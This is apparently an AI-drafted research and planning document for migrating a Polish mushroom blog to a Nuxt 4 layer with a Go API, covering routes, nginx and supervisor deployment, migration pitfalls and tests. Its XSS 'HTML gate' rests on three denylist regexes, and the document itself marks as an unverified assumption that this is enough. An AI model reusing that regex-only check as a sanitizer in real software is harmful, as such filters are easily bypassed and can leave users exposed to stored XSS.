+└── README.md                         # neutral (acme/blog)
+
+sm-grzybyfunkcjonalne-app/            # existing Go host
+├── config/backend.yaml               # uri: /gfadmin
+├── vue-grzybyfunkcjonalne-app/       # new submodule (D-08)
+│   ├── nuxt.config.ts                # extends ['vue-journal-layer'], journal.routes, routeRules, site, i18n pl default
+│   ├── app/assets/css/tokens.css     # grzyby token overrides (refreshed palette: #0D705D/#27AE60/#138C74 family)
+│   ├── app/pages/{index,kontakt,trwaja-prace}.vue
+│   ├── app/components/               # Hero, About, Cta, Services, Faq, SiteHeader(menu), SiteFooter, Journal/* overrides
+│   ├── app/data/                     # menu.ts (typed), faq.pl.json/md, categories/<slug>.md (pillar content, A3)
+│   ├── app/error.vue
+│   ├── i18n/locales/pl.json          # site copy
+│   ├── public/                       # las.webp, cta/blog images, logo, favicon
+│   └── tests/*.test.ts
+├── deploy/{nginx,supervisor,env.example}
+└── scripts/{build.sh,smoke.sh,check-deploy.sh,urls.txt}
+```
+
+### Pattern 1: Configurable routes via a layer module (D-06)
+**What:** Page components live outside `app/pages`. A local module registers them with `extendPages`, using paths from the `journal.routes` config that the app overrides (defu merge, project wins). Links are built by route **name**, so changing a path never breaks links.
+**When:** Always, for every Journal view.
+**i18n compatibility:** Nuxt 4.4.8 defaults `experimental.scanPageMeta` to `"after-resolve"` [VERIFIED: @nuxt/schema@4.4.8 dist/index.mjs:618-620 `return typeof val === "boolean" || val === "after-resolve" ? val : "after-resolve";`]. @nuxtjs/i18n 10.4.0 then localizes in `pages:resolved` [VERIFIED: @nuxtjs/i18n dist/module.mjs:682-683 `nuxt.options.experimental.scanPageMeta === "after-resolve" ? "pages:resolved" : "pages:extend"`], which runs after every `pages:extend`, so routes added by the module are localized whatever the module order. Route names gain a `___pl` suffix, so links must go through `useLocalePath()`/`useLocaleRoute()` [ASSUMED: suffix format].
+```ts
+// vue-journal-layer/modules/journal.ts  (sketch; option names are recommendations)
+import { defineNuxtModule, createResolver, extendPages } from 'nuxt/kit'
+
+export interface JournalRoutes {
+  index: string | false      // e.g. '/blog'
+  post: string | false       // e.g. '/blog/:slug'
+  category: string | false   // e.g. '/blog/category/:category' (neutral default)
+  tag: string | false        // e.g. '/blog/tag/:tag'
+  author: string | false     // e.g. '/blog/author/:author'
+}
+
+export default defineNuxtModule<{ routes: JournalRoutes }>({
+  meta: { name: 'journal', configKey: 'journal' },
+  defaults: {
+    routes: {
+      index: '/blog', post: '/blog/:slug', category: '/blog/category/:category',
+      tag: '/blog/tag/:tag', author: '/blog/author/:author',
+    },
+  },
+  setup(options) {
+    const { resolve } = createResolver(import.meta.url)
+    const pages: Array<[keyof JournalRoutes, string]> = [
+      ['index', 'PostIndexPage'], ['post', 'PostPage'], ['category', 'CategoryPage'],
+      ['tag', 'TagPage'], ['author', 'AuthorPage'],
+    ]
+    extendPages((routes) => {
+      for (const [key, file] of pages) {
+        const path = options.routes[key]
+        if (path === false) continue
+        routes.push({ name: `journal-${key}`, path, file: resolve(`../app/journal-pages/${file}.vue`) })
+      }
+    })
+  },
+})
+```
+```ts
+// vue-grzybyfunkcjonalne-app/nuxt.config.ts (excerpt)
+export default defineNuxtConfig({
+  extends: ['vue-journal-layer'],
+  journal: {
+    routes: { index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false },
+  },
+  routeRules: {
+    '/**': { swr: 300 },
+    '/blog/**': { swr: 120 },
+  },
+})
+```
+
+### Pattern 2: Typed client with an internal server base and XFF forwarding
+**What:** `runtimeConfig.journal.apiBase` (server-only, e.g. `http://127.0.0.1:8096/_journal/api/v1`, overridable with `NUXT_JOURNAL_API_BASE`) and `runtimeConfig.public.journal.apiBase` (default `/_journal/api/v1`, same origin). On the server, forward the visitor's `x-forwarded-for` (Go trusts `127.0.0.1/32` and reads the rightmost untrusted XFF hop). Runtime config is overridden by `NUXT_`-prefixed env vars only for keys declared in `nuxt.config` [CITED: nuxt.com/docs/4.x/guide/going-further/runtime-config].
+```ts
+// app/composables/useJournalApi.ts (sketch)
+export function useJournalApi() {
+  const cfg = useRuntimeConfig()
+  const base = import.meta.server ? cfg.journal.apiBase : cfg.public.journal.apiBase
+  const fwd = import.meta.server ? useRequestHeaders(['x-forwarded-for']) : {}
+  return <T>(path: string, query?: Record<string, unknown>) =>
+    $fetch<T>(path, { baseURL: base, query, headers: fwd })
+}
+```
+
+### Pattern 3: Category route as the root catch-all with a real 404
+**What:** The category page resolves `:category` against `GET /categories?include_empty=1` (flattened tree), throws `createError({ statusCode: 404, fatal: true })` when absent, then lists `GET /posts?category=<slug>&per_page=10&page=N`. The site app injects pillar content per slug (A3) through a slot or override component.
+**Why:** Live soft-200s every unknown root path (`/rss`, `/feed`, `/nieistnieje` render a "Kategoria" page). The successor must not.
+
+### Pattern 4: Token theming (D-03)
+The layer defines every visual value as `--journal-*` custom properties in `:root` and uses only those tokens. The app overrides them in its own CSS, which loads after the layer CSS because the project's `css` array is appended after the layer's (defu array merge) [ASSUMED: CSS order; verify in the Wave 0 spike]. To be safe, scope app overrides with a selector of equal or higher specificity (`:root:root`) or put them on `html`.
+
+### Pattern 5: Sitemap source from the API (D-13)
+```ts
+// vue-journal-layer/server/api/__sitemap__/journal.ts (sketch)
+export default defineSitemapEventHandler(async () => {
+  // page through /posts?per_page=30 until meta.last_page; add categories from /categories?include_empty=1
+  // return [{ loc: '/blog/<slug>', lastmod: post.updated_at }, { loc: '/<category>' }, ...]
+})
+```
+with `sitemap: { sources: ['/api/__sitemap__/journal'] }`. Each entry needs `loc`; `lastmod/changefreq/priority/_sitemap` are optional. The resolved sitemap is cached `cacheMaxAgeSeconds` (default 10 min) in production and not cached in dev [CITED: nuxtseo.com/docs/sitemap/guides/dynamic-urls]. Build each `loc` from the route config (the same `journal.routes`), not hard-coded `/blog/`.
+
+### Anti-Patterns to Avoid
+- **Layer pages in `app/pages/`:** they get fixed paths and collide with the app's routes, which breaks D-06.
+- **`~/` or `@/` imports inside layer files:** these resolve to the consuming project. Use relative imports or a `#layers/<name>` alias with `$meta.name` [CITED: nuxt.com layers doc].
+- **Relative paths in the layer `nuxt.config` (css, langDir):** they resolve against the project. Build them from `fileURLToPath(new URL('.', import.meta.url))` [CITED: nuxt.com layers doc].
+- **Calling Go's public URL from SSR:** it hairpins through nginx/TLS. Use the internal base.
+- **`isr` route rules on node-server:** CDN-only semantics (Netlify/Vercel); use `swr: <seconds>` [CITED: nuxt.com/docs/4.x/guide/concepts/rendering].
+- **Hard-coding `/blog/` in the layer:** RSS in Go hard-codes it (fine for this site), but the layer must use route names.
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| sitemap.xml | XML writer | `@nuxtjs/sitemap` (via `@nuxtjs/seo`) dynamic source | chunking, lastmod, i18n, caching |
+| robots.txt / meta robots | static file | `@nuxtjs/robots` + `useRobotsRule`/route rules | per-route `noindex` (D-13 `robots_noindex`) |
+| canonical/OG/twitter tags | manual `useHead` | `useSeoMeta` + `nuxt-seo-utils` site config | absolute URLs from `site.url` |
+| SSR response cache | custom LRU | `routeRules` `swr` (Nitro cache) | built-in; per-route TTL |
+| Route localization | manual prefixing | `@nuxtjs/i18n` `prefix_except_default` | future locales (D-16) |
+| Image partition paths | custom path math | `attach.PartitionDirectory`/`BlobKey` (Go) | Winter-exact layout [VERIFIED: attach/thumb.go:54-69] |
+| Admin auth for any write | new token scheme | existing cabana backend JWT | Phase 15 D-15 |
+| Font hosting | Google Fonts `<link>` | `@nuxt/fonts` | privacy, same as summercms.io |
+
+**Key insight:** The only new logic this phase owns is the URL mapping, the content port and the migration. Everything SEO- or cache-related is a configured module.
+
+## Runtime State Inventory (content migration)
+
+| Category | Items Found | Action Required |
+|----------|-------------|------------------|
+| Stored data | PHP DB on the server (posts, translations, `system_files` featured images, categories with pillar `content`); local `gf_old.sql` is a 2024 Golem15.Blog dump (7 categories with 4-14 KB `content`, FAQ with 16 entries, sitemanager settings) | Data migration: import posts (pl default first); featured-image migration (needs server SQL); category names/descriptions; pillar content → app files (A3) |
+| Live service config | Live sitemanager settings (hero/about/cta/services/footer copy) live in the PHP DB, not in git; repo `content/blocks/*` are `*.en.htm` arsha demo copy | Copy the **current** Polish copy from the live HTML (authority) into app i18n/markdown; `gf_old.sql` is a fallback |
+| OS-registered state | Staging: new supervisor programs (Go + Nuxt), new nginx vhost; the PHP site's own nginx/php-fpm stay untouched | New config files only (D-10) |
+| Secrets/env vars | `SUMMER_DATABASE__DSN`, `SUMMER_APP__KEY`, `SUMMER_ADMIN__JWT__SECRET`, `SUMMER_GOLEM15__USER__JWT__SECRET` (pattern from summercms.io `deploy/env.example`), plus `SUMMER_URL` (RSS origin) and `NUXT_JOURNAL_API_BASE` | New `.env` on the server; never committed |
+| Build artifacts | `.output/` (Nuxt server bundle) and `bin/grzybyfunkcjonalne`; Google Analytics `G-MLSV7WJ6W4` in the live layout | Decide analytics successor (Open Question 5) |
+
+## Content Inventory (D-11, D-12)
+
+Sizes measured on live HTML and on `gf_old.sql` sitemanager settings [VERIFIED: this session]:
+
+| Block | Live? | Source | Size |
+|---|---|---|---|
+| Hero | yes | title "Grzyby Funkcjonalne", text "Serwis informacyjny poświęcony grzybom funkcjonalnym", CTA "Czytam", bg `/las.webp` (full-size, darken 50%) | tiny |
+| Latest posts (3) + "Czytaj więcej" → `/blog` | yes | Journal | layer component |
+| About ("Czym są grzyby funkcjonalne?") | yes | 2 rich-text columns (574 + 780 chars), button "Poznaj naszą misję" | ~1.2 KB text |
+| CTA ("Skorzystaj z wiedzy ekspertów") | yes | text + image `65f9f2e96287d085855960.png` | tiny |
+| Services ("Dlaczego warto?") | yes | 4 icon boxes (~400 chars each) | ~1.6 KB |
+| FAQ (`what-mushrooms-can-give-you`) | yes | intro + 16 Q&A (HTML answers, 200-700 chars) | ~5.7 KB text |
+| Footer | yes | name, address "Wróblewskiego, 1A/1U, Namysłów", phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, links (Artykuły blogowe; Golem15, Ciemność.com, Dobra bomba), social (x.com/ophiel118), copyright | small |
+| Menu (`g15_menu` main) | yes | "Blog" → `/blog`; dropdown "Grzyby Funkcjonalne" listing the 7 categories (type `blog_categories`) | typed config; category list can come from `/categories?include_empty=1` |
+| Blog page header | yes | hero with blog image (`65f9f2e96287d085855960.png`), title/description from page meta ("Artykuły", "Przeczytaj nasze artykuły na temat grzybów funkcjonalnych") | tiny |
+| Category pillar content | yes | 6 categories × 12-14 KB HTML (amanita empty) + 7 short descriptions (53-85 chars) | **~80 KB**: largest content item |
+| Kontakt | live 404 | repo: "Kontakt" / "Skontaktuj Się z Ekspertami od Grzybów Funkcjonalnych" + footer details | small |
+| Disabled blocks (clients, portfolio, pricing, team, whyus, newsletter, contact) | no | arsha demo copy | **drop** |
+
+Theme visual baseline: Bootstrap 5 arsha, fonts Open Sans/Jost/Poppins. Colours from sitemanager: main `#000000`, secondary `#0D705D`, accent `#27AE60`, text `#444444`, link `#138C74`, link hover `#1AAC8F`, background `#FFFFFF` [VERIFIED: gf_old.sql sitemanager JSON; may differ from live]. The refresh means a new design using these as seeds, not a Bootstrap port. A UI-SPEC (`/msd-ui-phase`) before planning is recommended.
+
+## Common Pitfalls
+
+### Pitfall 1: Importing with `en` as the default locale
+**What goes wrong:** Every live post URL (`/blog/blog...`) 404s; the API serves stale base titles and markdown.
+**Why:** The seeded default is `en` (`SELECT 'en', 'English', TRUE, TRUE, 1`). `GET /posts/{slug}` uses `q.Where("slug = ?", slug)` on the host column only.
+**How to avoid:** After `migrate`, set `pl` as default (admin Settings → Translate → Locales → make default, or `UPDATE golem15_translate_locales SET is_default = (code = 'pl')`), **then** import. Optionally disable `en`.
+**Warning signs:** `GET /_journal/api/v1/posts/blogbadania-nad-cordycepsem` → 404 after import.
+
+### Pitfall 2: Editing an imported post in `/gfadmin` wipes its body
+**What goes wrong:** `content_html` becomes `<!-- raw HTML omitted -->`.
+**Why:** The pl `content` is HTML. `FormatHTML` uses goldmark without `html.WithUnsafe()` [VERIFIED: format_html.go:15-18]. Falsification probe run this session on `10-faktow-na-temat-cordycepsu.json` pl content:
+```
+zz_probe_test.go:20: pl HTML content -> err=<nil> out="<!-- raw HTML omitted -->\n"
+```
+**How to avoid in this phase:** Document "do not edit imported posts in the admin until fixed". Record a follow-up todo against `sm-journal-plugin` (convert HTML content to markdown at import, or pass raw HTML through); do not patch it here (D-17).
+**Warning signs:** Post page shows an empty body after an admin save.
+
+### Pitfall 3: `journal:import-posts --force` is not idempotent once pl is default
+**What goes wrong:** The second run looks up the base slug, misses the row (host now has the pl slug), creates a duplicate, then violates `golem15_journal_posts_slug_unique` and the whole transaction rolls back.
+**How to avoid:** Import once into a freshly migrated DB. To redo: drop the database, `migrate`, set pl default, import again. Put this in the runbook.
+
+### Pitfall 4: Duplicate Nuxt modules from the layer and the app
+**What goes wrong:** Two `@nuxtjs/i18n` copies at different versions, so locale state is split or the build warns.
+**How to avoid:** Modules are declared once, in the layer `nuxt.config`. The app either omits them or pins the same exact versions. Keep the lazy-load locale format identical across layers ("Mixing locale configuration such as lazy loading objects and strings may not work as expected") [CITED: i18n.nuxtjs.org/docs/guide/layers].
+
+### Pitfall 5: All SSR traffic shares one rate-limit bucket
+**What goes wrong:** Cache misses from many visitors all come from 127.0.0.1, exceed 120/min, and Go answers 429. Pages then error.
+**How to avoid:** Forward `x-forwarded-for` from the incoming request in the SSR fetch (Pattern 2); keep swr TTLs ≥ 60 s; the sitemap source pages at `per_page=30`.
+
+### Pitfall 6: RSS links come out `http://` and with the wrong host
+**Why:** `requestOrigin` uses config `url`, else `"http"` + `r.Host` (TLS is terminated at nginx) [VERIFIED: rss.go:122-133].
+**How to avoid:** Set `SUMMER_URL=https://<staging host>` in the Go `.env` (compass maps `SUMMER_URL` to the top-level `url` key [VERIFIED: compass README line 96 mapping rule]), and `proxy_set_header Host $host`.
+
+### Pitfall 7: Nothing serves `/storage/app/**`
+**Why:** The framework has `attach.StaticHandler`/`StaticHandlerPublic` but no host mounts them [VERIFIED: grep usage; attach/static.go:26-36]. The static.go comment warns: "Do not mount the ungated handler on the app origin — same-origin Content-Type from uploads is XSS-relevant."
+**How to avoid:** nginx `location ^~ /storage/app/uploads/public/` and `/storage/app/media/` aliasing the Go host's storage dirs. Allow only image extensions (`jpe?g|png|gif|webp`), set `add_header X-Content-Type-Options nosniff`, `expires 30d`.
+
+### Pitfall 8: Category pages for empty categories 404
+**Why:** `/categories` omits categories with 0 published posts unless `include_empty=1`. `amanita-muscaria` (in the live sitemap) has 0 published posts.
+**How to avoid:** Always `include_empty=1` when resolving a slug and building the sitemap.
+
+### Pitfall 9: Layer CSS/i18n paths resolved against the app
+**How to avoid:** In the layer config use `const currentDir = dirname(fileURLToPath(import.meta.url))` and absolute `css`/`langDir` paths [CITED: nuxt.com layers doc]. Test by building the site app against the layer installed from git, not only via `link:`.
+
+### Pitfall 10: pnpm git dependency from Gitea
+**What goes wrong:** pnpm cannot resolve a tag on a non-GitHub host, the lockfile pins a branch, or a `prepare` script never runs.
+**How to avoid:** The layer ships source and has no `prepare`/build script ("A Git-hosted dependency that ships sources rather than a built package has to be prepared": avoid needing it) [CITED: pnpm.io/package-sources]. Use the full form `git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0`. Wave 0 spike: install it in a scratch app and run `nuxt build` [ASSUMED: works against Gitea 1.25.4 over anonymous HTTPS].
+
+### Pitfall 11: Repos do not exist yet
+`https://git.golem15.com/golem15/vue-journal-layer` and `/vue-grzybyfunkcjonalne-app` return 404 [VERIFIED: curl this session]. Creating them on Gitea is a human step (credentials); plan a checkpoint.
+
+### Pitfall 12: Node and Postgres availability on the PHP server
+The PHP server runs Winter (likely MySQL/MariaDB per `gf_old.sql`). The Go host needs Postgres (database.yaml asks for a pl-PL ICU database), and Nuxt needs Node ≥ 22.18. Neither is verified on that server (Open Question 4). The ICU template note in host `config/database.yaml`: `CREATE DATABASE grzybyfunkcjonalne TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL';` requires Postgres ≥ 15.
+
+## Code Examples
+
+### nginx staging vhost (sketch; adapt from `sm-summercmsio-app/deploy/nginx/summercms.io.conf`)
+```nginx
+# Go: admin, Journal API, RSS alias
+location ^~ /gfadmin   { proxy_pass http://127.0.0.1:8096; include /etc/nginx/proxy_params; }
+location ^~ /_journal/ { proxy_pass http://127.0.0.1:8096; include /etc/nginx/proxy_params; }
+location = /rss.xml    { proxy_pass http://127.0.0.1:8096/_journal/api/v1/rss; include /etc/nginx/proxy_params; }
+location ^~ /backend   { return 404; }   # D-09: old admin path is not served by the new stack
+
+# Uploads and media from disk, images only
+location ~ ^/storage/app/(uploads/public|media)/.+\.(?:jpe?g|png|gif|webp)$ {
+  root /srv/grzybyfunkcjonalne-go;   # holds storage/app/...
+  add_header X-Content-Type-Options nosniff;
+  expires 30d;
+}
+location ^~ /storage/ { return 404; }
+
+# Everything else: Nuxt SSR
+location / {
+  proxy_pass http://127.0.0.1:3016;
+  proxy_http_version 1.1;
+  proxy_set_header Host $host;
+  proxy_set_header X-Real-IP $remote_addr;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto $scheme;
+}
+```
+Ports and paths are placeholders [ASSUMED]. `proxy_params` may not exist on the server; inline the headers as summercms.io does.
+
+### supervisor: two programs (adapt `deploy/supervisor/summercms-io.conf`)
+```ini
+[program:grzyby-go]
+command=/srv/grzybyfunkcjonalne-go/bin/grzybyfunkcjonalne serve --addr 127.0.0.1:8096
+directory=/srv/grzybyfunkcjonalne-go
+environment=SUMMER_ENV="production"
+stopsignal=TERM
+stopwaitsecs=15
+
+[program:grzyby-nuxt]
+command=/usr/bin/node /srv/grzybyfunkcjonalne-go/nuxt/.output/server/index.mjs
+directory=/srv/grzybyfunkcjonalne-go/nuxt
+environment=NODE_ENV="production",NITRO_HOST="127.0.0.1",NITRO_PORT="3016",NUXT_JOURNAL_API_BASE="http://127.0.0.1:8096/_journal/api/v1"
+stopsignal=TERM
+```
+`NODE_ENV=production node .output/server/index.mjs`; `NITRO_PORT`/`PORT` and `NITRO_HOST`/`HOST` (default 0.0.0.0, so bind to loopback explicitly) [CITED: nuxt.com/docs/4.x/getting-started/deployment].
+
+### HTML gate (TS port of Journal's rules, layer `utils/htmlGate.ts`)
+```ts
+// Same three patterns as sm-journal-plugin classes/format_html.go:20-22 (verbatim regex sources)
+const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
+const EVENT_HANDLER = /\son[a-z]+\s*=/i
+const DANGEROUS_URL = /(?:javascript|vbscript|data):/i
+export function isSafeJournalHtml(html: string): boolean {
+  return !(UNSAFE_TAG.test(html) || EVENT_HANDLER.test(html) || DANGEROUS_URL.test(html))
+}
+```
+The scan this session found 0 matches in all export `content`/`content_html` (base and pl), so the live corpus passes [VERIFIED]. Note that `DANGEROUS_URL` also matches the plain-text Polish word "data:" ("date:"); an unsafe result should render a neutral notice, not throw.
+
+### Migration runbook (order matters)
+1. `bin/grzybyfunkcjonalne migrate` (fresh Postgres DB, pl-PL ICU).
+2. Create the admin user (cabana runtime command) and log in at `/gfadmin`.
+3. Make `pl` the default locale (Locales → make default) [Pitfall 1].
+4. `bin/grzybyfunkcjonalne journal:import-posts --path journal-export --dry-run`, then without `--dry-run` (once).
+5. Fix the 7 categories (names e.g. "Lion's Mane", descriptions from live hero text).
+6. rsync PHP `storage/app/media/` → Go `storage/app/media/`; run the featured-image migration (option a/b).
+7. Smoke every URL in `scripts/urls.txt` (live sitemap's 71 + `/kontakt`, `/trwaja-prace`, `/rss.xml`, `/robots.txt`, `/sitemap.xml`, `/blog?page=2..6`, `/<cat>?page=2`, negative cases).
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| Winter CMS pages + Twig components | Nuxt 4 SSR layer + JSON API | this phase | URL logic moves to Nuxt |
+| eagle_seo + Golem15.Sitemap | `@nuxtjs/seo` 5 (sitemap 8, robots 6) | D-13 | runtime sitemap from API |
+| `isr` for "rebuild-free" pages | `swr` on node-server (`isr` = CDN-only) | Nuxt 3+ hybrid rendering | use `swr` TTLs |
+| Pages in layer `pages/` | `extendPages` from module config | — | configurable paths |
+
+**Deprecated/outdated:** sitemanager `enable_*` toggles (dropped, D-11); arsha demo blocks (drop); `/backend` path (→ `/gfadmin`).
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | pnpm 11 installs `git+https://git.golem15.com/...git#tag` from Gitea anonymously and Nuxt `extends: ['vue-journal-layer']` resolves it from node_modules | Stack, Pitfall 10 | Distribution model (D-04) needs a fallback (tarball URL / `link:` / submodule); Wave 0 spike |
+| A2 | Vue Router ranks static `/blog`, `/kontakt` above `/:category` | URL Inventory | Static pages shadowed; caught by smoke test |
+| A3 | Category pillar content and descriptions belong in the site app (not a Journal API change) | Summary, Content | If the user wants them editable in admin, an `sm-journal-plugin` change is needed (breaks frozen-API scope) |
+| A4 | Porting Go's 3-regex gate is enough sanitization (no `sanitize-html`) | Security, Code Examples | If stricter sanitizing is wanted, add `sanitize-html` 2.17.7 behind a checkpoint |
+| A5 | Out-of-range/non-numeric `?page=` → 404 (live returns 200) | URL Inventory | Minor SEO/UX difference; confirm |
+| A6 | Post `<title>` = `<post title> \| Grzyby Funkcjonalne`, description = excerpt, og:image = featured image (no per-post SEO override migration) | Export table | Lost custom SEO titles if eagle_seo overrides exist for posts |
+| A7 | `nuxt-seo-utils` keeps `page` in canonical query whitelist by default | URL Inventory | Paginated canonicals collapse to page 1; set the whitelist explicitly |
+| A8 | Project CSS loads after layer CSS so token overrides win | Pattern 4 | Tokens not overridden; use higher-specificity selector |
+| A9 | i18n route-name suffix is `___pl` | Pattern 1 | Links by name fail; use `localePath` regardless |
+| A10 | `/sitemap.xsl` can be dropped | URL Inventory | Cosmetic only |
+| A11 | nginx/supervisor ports and paths in examples | Code Examples | Placeholders; fix on server |
+
+## Open Questions (RESOLVED)
+
+All six were resolved by the user on 2026-10-09 and recorded in 16-CONTEXT.md. The decisions below override the original recommendations.
+
+1. **Author page (D-05) has no API support.**
+   - What we know: no author endpoint; the `author` filter is editor-only; the author payload has no slug/bio/avatar; imported posts have no author; `/autor/admin` is the only live author URL, unlinked and not in the sitemap.
+   - Options: (a) layer author page backed by a Nitro route that pages `/posts` and filters by `author.login`, with bio/avatar from app config (no Go change); (b) additive `sm-journal-plugin` change (anonymous `author=<slug>` filter + `author.slug` in payload), which reopens the frozen API, so it needs the user's explicit OK; (c) ship the route but 404 until authors exist, keeping `/autor/:author` reserved.
+   - Recommendation: (a) for the layer, plus assigning authors in `/gfadmin` after import if the user wants author pages populated.
+   - **RESOLVED → D-20:** option (b). A pre-execution `/msd-quick` task adds an anonymous author endpoint to `sm-journal-plugin`; the layer consumes it. The recommendation (a) above is superseded.
+2. **Category pillar content location** (A3): app markdown per slug (recommended) or a Journal schema change?
+   - **RESOLVED → D-21:** Journal schema change. A pre-execution quick task adds a rich content field to Category (admin + categories API); plan 16-03 fills it from the PHP DB. The app-markdown recommendation is superseded.
+3. **Featured images**: who runs the SQL on the PHP DB to produce the slug → disk_name map, and are live images under `Golem15\Blog\Models\Post` or `Golem15\Journal\Models\Post` morphs on the server? Option (a) Go command vs (b) API upload.
+   - **RESOLVED → D-22:** option (a), an app-local Go command that keeps the Winter disk names, fed by a SQL export run on the PHP server.
+4. **Server environment**: hostname, staging domain (e.g. `staging.grzybyfunkcjonalne.pl`?) and TLS, Postgres ≥15 with ICU, Node ≥22.18, supervisor and nginx layout on the PHP server. These must be confirmed before the deploy plan.
+   - **RESOLVED → D-19 / plan 16-04:** confirmed at the 16-04 Task 1 human checkpoint before deploy.
+5. **Analytics**: the live layout loads GA `G-MLSV7WJ6W4`. Carry it over (needs a consent decision), or drop it on staging?
+   - **RESOLVED → D-23:** carry over `G-MLSV7WJ6W4` through Nuxt runtime config; staging may leave it empty.
+6. **Draft posts and `amanita-muscaria`**: 42 drafts are imported as drafts; `/amanita-muscaria` shows 0 posts live. Keep it (it is in the sitemap) or drop it?
+   - **RESOLVED → D-24:** keep `/amanita-muscaria`; the layer always requests categories with `include_empty=1`. Drafts are imported as drafts.
+
+## Environment Availability
+
+| Dependency | Required By | Available (this machine) | Version | Fallback |
+|------------|------------|-----------|---------|----------|
+| Go | host build/tests | ✓ | go1.27.0 | — |
+| Node | Nuxt build, `node --test` | ✓ | v24.21.0 (project pins 22.22.0 via `.nvmrc`) | nvm 22 |
+| pnpm | install, git dep | ✓ | 11.3.0 | — |
+| Postgres | Go host, import rehearsal | ✓ (local, accepting on 127.0.0.1:5432) | — | — |
+| Docker | `scripts/smoke.sh` pattern (postgres:15 container) | ✗ (permission denied on docker.sock for this user) | 29.7.2 client | local Postgres via `SMOKE_DSN`, or run as a user in the docker group |
+| nginx | `check-deploy.sh` (`nginx -t` with temp prefix) | ✓ | — | — |
+| supervisord | config parse check | ✓ | — | — |
+| git.golem15.com | layer git dep, repos | ✓ reachable (Gitea 1.25.4); target repos 404 | — | human creates repos |
+| PHP server (Node, Postgres, nginx, supervisor) | staging | unknown | — | **blocking until confirmed (OQ4)** |
+| PHP storage `storage/app/uploads/public` | featured images | ✗ locally (permission denied) | — | copy on the server |
+
+**Missing dependencies with no fallback:** confirmed server environment (OQ4); Gitea repos (human creation).
+**Missing dependencies with fallback:** Docker for smoke (use local Postgres DSN).
+
+## Validation Architecture
+
+### Test Framework
+| Property | Value |
+|----------|-------|
+| Framework (layer, site app) | `node --test` on `.ts` (Node ≥22.18 type stripping), as `vue-summercmsio-app` (`"test": "node --test --test-reporter=tap tests/*.test.ts"`) |
+| Framework (Go host) | `go test ./...` (stdlib testing; existing `boot_test.go` `TestBootUserTranslateJournal`, `TestCORS`) |
+| Config file | none (package.json script); Go none |
+| Quick run command | `pnpm test` (layer or app dir); `go test ./...` (host) |
+| Full suite command | `pnpm -C vue-journal-layer test && pnpm -C vue-grzybyfunkcjonalne-app build && pnpm -C vue-grzybyfunkcjonalne-app test && go vet ./... && go test ./...` |
+| Smoke | `scripts/smoke.sh <base-url>` over `scripts/urls.txt` (expected status per URL) |
+
+Keep testable logic in pure TS under `app/utils/` (no `.vue` imports), because `node --test` cannot load SFCs. Component rendering is checked through the built server (`.output/server/index.mjs` started against a fixture API), the same idea as summercms.io's `tests/output.test.ts` but for SSR. Vitest + `@nuxt/test-utils` would be a new dependency; avoid it unless the user asks.
+
+### Phase Requirements → Test Map
+| Req ID | Behavior | Test Type | Automated Command | File Exists? |
+|--------|----------|-----------|-------------------|-------------|
+| SC-2 | route config: defaults, overrides, `false` disables, invalid path rejected | unit | `node --test tests/routes.test.ts` (layer) | ❌ Wave 0 |
+| SC-2 | client builds query (`page`,`per_page` clamp ≤30, `category`, `include_empty`), parses envelope | unit | `node --test tests/client.test.ts` | ❌ |
+| SC-2 | pagination math: page validity, prev/next, 404 on out-of-range | unit | `node --test tests/pagination.test.ts` | ❌ |
+| SC-2 | HTML gate: same 3 patterns as Go | unit | `node --test tests/htmlGate.test.ts` | ❌ |
+| SC-3 | sitemap entries from posts+categories use route config | unit | `node --test tests/sitemap.test.ts` | ❌ |
+| SC-3 | every old URL → expected status (200/404), canonical keeps `?page=N`, `/rss.xml` is RSS | smoke | `scripts/smoke.sh https://<staging>` | ❌ |
+| SC-1 | host boots with `backend.uri: /gfadmin` (admin at `/gfadmin`, `/backend` 404) | unit/boot | `go test ./... -run TestBoot` | ✅ extend `boot_test.go` |
+| SC-1 | featured-image migration command (if option a): map parse, blob key, row fields, idempotent skip | unit | `go test ./... -run FeaturedImages` | ❌ |
+| SC-1 | deploy configs: `nginx -t`, supervisor parse | config check | `scripts/check-deploy.sh` | ❌ (adapt) |
+| SC-1 | built Nuxt server renders `/`, `/blog`, a post, a category against a fixture API | integration | `node --test tests/ssr.test.ts` (app; starts `.output/server/index.mjs`) | ❌ |
+
+### Sampling Rate
+- **Per task commit:** `pnpm test` in the touched JS repo; `go vet ./... && go test ./...` in the host.
+- **Per wave merge:** full suite above plus `nuxt build` of the site app against the layer **installed from the git tag**.
+- **Phase gate:** full suite green plus `scripts/smoke.sh` against staging before `/msd-verify-work`.
+
+### Wave 0 Gaps
+- [ ] Spike: pnpm git dependency from Gitea + `extends` + `nuxt build` (A1, Pitfall 10).
+- [ ] `vue-journal-layer/tests/` and `package.json` test script.
+- [ ] `vue-grzybyfunkcjonalne-app/tests/` + a fixture API (small Node `http` server serving recorded JSON) for SSR tests.
+- [ ] `sm-grzybyfunkcjonalne-app/scripts/urls.txt`, generated from the live sitemap (71 URLs) + static/negative cases.
+
+## Security Domain
+
+### Applicable ASVS Categories
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | no new surface | existing cabana backend JWT for `/gfadmin` |
+| V3 Session Management | no new surface | cabana cookie; `backend.cookie_secure` must stay `true` in production |
+| V4 Access Control | yes (deploy) | nginx: only `GET/HEAD` to Nuxt and public storage; `/storage/**` limited to image extensions |
+| V5 Input Validation | yes | `?page`/`:category`/`:slug` validated in the layer (numeric page; slug regex `[a-z0-9][a-z0-9\-/]*` as the Go route) |
+| V6 Cryptography | no | — |
+| V14 Config | yes | secrets only in server `.env`; `NUXT_` runtime keys declared in config |
+
+### Known Threat Patterns
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| Stored XSS via `content_html` rendered with `v-html` | Tampering | Go `FormatHTML` gate on admin/API save; layer re-check with the same regexes; imported corpus scanned clean |
